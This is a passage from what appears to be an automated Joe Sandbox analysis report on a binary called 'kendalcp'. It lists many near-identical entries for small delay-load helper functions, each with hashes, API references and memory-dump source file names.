Opcode ID: 1f07ad2757f9b36a53bd91e72885764f97f0bc5d4af5a57afac73629ad387d3d
Instruction ID: 3cba2db59f171c1d902ebd5b34af189834d7f8ec6f3c15c82fb50f4d38ecf11a
Opcode Fuzzy Hash: 1f07ad2757f9b36a53bd91e72885764f97f0bc5d4af5a57afac73629ad387d3d
Instruction Fuzzy Hash: A9B012D137D401EC335C611C6C06D76025CC4C3B10330802ABA4BD00C2D54CADC60C31

Function 0071D910 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9f1eabb5bf2557934438978f53e772cb4c55ed3c619edd55ccf8248b161e37ca
Instruction ID: 7831619b15b17d3b712cef1d1e6020ad154cd1e35cb98c3c2c4f0cf6e6099bd8
Opcode Fuzzy Hash: 9f1eabb5bf2557934438978f53e772cb4c55ed3c619edd55ccf8248b161e37ca
Instruction Fuzzy Hash: 6DB012E137D501AD339C620CAC06D76021EC5C2B10730412AB54BD00C2D44C6DC60C31

Function 0071D906 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 203b0a3f1df7ca40c18c2ec1c30d289fb73974d8a69fecedc29309a8efe5759f
Instruction ID: 9cebeeb83f136d75fd5a4479b030332effa9194285a8a41c28f45da0af21b062
Opcode Fuzzy Hash: 203b0a3f1df7ca40c18c2ec1c30d289fb73974d8a69fecedc29309a8efe5759f
Instruction Fuzzy Hash: 6EB012D137D401AC335C610CAC06D76021EC5C3B10730802AB94BD00C2D44C6D860C31

Function 0071DAD9 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DAB2

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b43d98e8dc4b4b442464c8692342fd5e749f7bf0cf866e6f7d92be89947ba3da
Instruction ID: b28e9acd6deb33b863d0ea931cc64c10c00bd6312904aa023d70e28446c5f0bf
Opcode Fuzzy Hash: b43d98e8dc4b4b442464c8692342fd5e749f7bf0cf866e6f7d92be89947ba3da
Instruction Fuzzy Hash: C8B0929126C001AC3258A1496916A7A025CC4C4B10320852AB50AD0086944C4D8A4831

Function 0071DACF Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DAB2

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ddb175a27555d5c36f0ba11357e58783d113c365965d41e69028f8a974149ba6
Instruction ID: 52b4981da9223393463f70757dc1d64cdbf6c61ae5f1c3ee3dffdad8e0311038
Opcode Fuzzy Hash: ddb175a27555d5c36f0ba11357e58783d113c365965d41e69028f8a974149ba6
Instruction Fuzzy Hash: 18B092A126C001EC3258A149681697A025CC4C0B10320C12AB80AC00C6D44C4E8A4831

Function 0071DB01 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DAB2

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: affe1e6eff9710326f81d3e077214f552a6a1635f019bd7b93605d0db10ec4c1
Instruction ID: 82fa1ba313d75a2ab01ce7369e105458c0124f448682d5684cac2eb5040bc069
Opcode Fuzzy Hash: affe1e6eff9710326f81d3e077214f552a6a1635f019bd7b93605d0db10ec4c1
Instruction Fuzzy Hash: 94B012D13BC101AC735CB14D6C16E7B025CD4C0F10330812BB40AD00C6D44C4D864D31

Function 0071DBFC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DBD5

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c5b20ecc6248f796ac463e0af4055c15d4ab87b90c14dc1910a4df173966d708
Instruction ID: 3ae74cac99f29a6b01f435aaa74d024fcda2226b1fe2a37a0e3ed7184ba5a453
Opcode Fuzzy Hash: c5b20ecc6248f796ac463e0af4055c15d4ab87b90c14dc1910a4df173966d708
Instruction Fuzzy Hash: A0B012D63BC002BC336C511C2D0BDB7022CC0C0B10730802AB60BC00C2DD4C4D874831

Function 0071DBE8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DBD5

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 654a401a55320f2f8710e164a97cc536e8e0e00d884fac1b5dc9eb02cf26ca63
Instruction ID: 4339a18492c43043951225e65276d5c8ac82bb050e186b3789944bda0c60a0e7
Opcode Fuzzy Hash: 654a401a55320f2f8710e164a97cc536e8e0e00d884fac1b5dc9eb02cf26ca63
Instruction Fuzzy Hash: 2EB012D63BC002EC336C511C2C0BDB7023CC0C0B10730812AB90BC10C2DD4C4D8A4831

Function 0071DBDE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DBD5

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9437e8138fff538b7da6950cdd8a66642494f5a016733e5ce09f2c085f60fa6d
Instruction ID: 69187d9326b4794f957e9dbef424ccdcb57b2e15dabadb5016eda483b4ae7063
Opcode Fuzzy Hash: 9437e8138fff538b7da6950cdd8a66642494f5a016733e5ce09f2c085f60fa6d
Instruction Fuzzy Hash: 49B012D63BC001AC3368512C2C0BEB6022CD0C0B10730403AB51BC00C2D94C4D8A4831

Function 0071DBC3 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DBD5

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f9dbd62428f5b924611f517559db4f3179cfa2c30b451deda17de6a1ad328387
Instruction ID: cea8f5c0738c34aeafd6a43fd9e7016e6dcec119c315f5248f882c3b4d2e0f3d
Opcode Fuzzy Hash: f9dbd62428f5b924611f517559db4f3179cfa2c30b451deda17de6a1ad328387
Instruction Fuzzy Hash: B7B012D63BC106BC3368111C2C0BCB7022CC0C0B10730413AB507D00C29D4C4DCA4831

Function 0071DC53 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DC36

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 124ea79553185a32d9e1974a913e286c0092fbe5a4340501ef0a668d3c6c8350
Instruction ID: a52bba128b9a7a53a48722de15724d4eef9f48995fe9cd05fb061db9cb28fdc6
Opcode Fuzzy Hash: 124ea79553185a32d9e1974a913e286c0092fbe5a4340501ef0a668d3c6c8350
Instruction Fuzzy Hash: CAB012D62AC101AC735C710C6C06EB6023CC0CAB10730892ABA0AD00C2E58C5D864C31

Function 0071DC5D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DC36

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f371bbab3682231d38ceb637f33f2e0a29371d6a7a5eab84d675ac42129c6bcb
Instruction ID: 47f364ea7ca9cbf8bacf3ed85cb27ddace084f2aaee5e5fda71d9a6817564886
Opcode Fuzzy Hash: f371bbab3682231d38ceb637f33f2e0a29371d6a7a5eab84d675ac42129c6bcb
Instruction Fuzzy Hash: 92B012D62BC201AC735C710C6C06EB6023CC0C5B10730492BB60AD00C2E58C5D864C31

Function 0071DC24 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DC36

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ae518c4b17c1f3e3cdd5553bbe185703feae6b5fb23b6106de40245c8c6a8745
Instruction ID: 67e00f5c24ba3240846648d79fa44f5690da7cd8d5f96dc91e4674dd2910586c
Opcode Fuzzy Hash: ae518c4b17c1f3e3cdd5553bbe185703feae6b5fb23b6106de40245c8c6a8745
Instruction Fuzzy Hash: BEB012D62AC205BD735C310C6E06DB6023CC1C5B107304A2AB606E00C2A58C5DC65C31

Function 0071D8D9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fa7702a1740d87a7a21c4e4fafcfd376ec49786bc5fafe450bd466142ecb959c
Instruction ID: 5e8e315e7e5ea57c6191fe02370681362a9c700f4503c7f9ece1812d6c7bea21
Opcode Fuzzy Hash: fa7702a1740d87a7a21c4e4fafcfd376ec49786bc5fafe450bd466142ecb959c
Instruction Fuzzy Hash: 5BA012D127C002BC331C21046C06C76021CC4C1B103304409B047900C194482D850C30

Function 0071D979 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b84e14b1464c5e75b207e423a3d46fed76e5186e66e81e966963e871765851ba
Instruction ID: 5e8e315e7e5ea57c6191fe02370681362a9c700f4503c7f9ece1812d6c7bea21
Opcode Fuzzy Hash: b84e14b1464c5e75b207e423a3d46fed76e5186e66e81e966963e871765851ba
Instruction Fuzzy Hash: 5BA012D127C002BC331C21046C06C76021CC4C1B103304409B047900C194482D850C30

Function 0071D965 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 192b45252b2c413486485028267ea7ced521bc7f57acd3b8c6d84beab3a63b89
Instruction ID: 5e8e315e7e5ea57c6191fe02370681362a9c700f4503c7f9ece1812d6c7bea21
Opcode Fuzzy Hash: 192b45252b2c413486485028267ea7ced521bc7f57acd3b8c6d84beab3a63b89
Instruction Fuzzy Hash: 5BA012D127C002BC331C21046C06C76021CC4C1B103304409B047900C194482D850C30

Function 0071D96F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6e985a7d4c4d315e445bfc59fef845266fef2e130978d55cb924eae888fc6367
Instruction ID: 5e8e315e7e5ea57c6191fe02370681362a9c700f4503c7f9ece1812d6c7bea21
Opcode Fuzzy Hash: 6e985a7d4c4d315e445bfc59fef845266fef2e130978d55cb924eae888fc6367
Instruction Fuzzy Hash: 5BA012D127C002BC331C21046C06C76021CC4C1B103304409B047900C194482D850C30

Function 0071D951 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

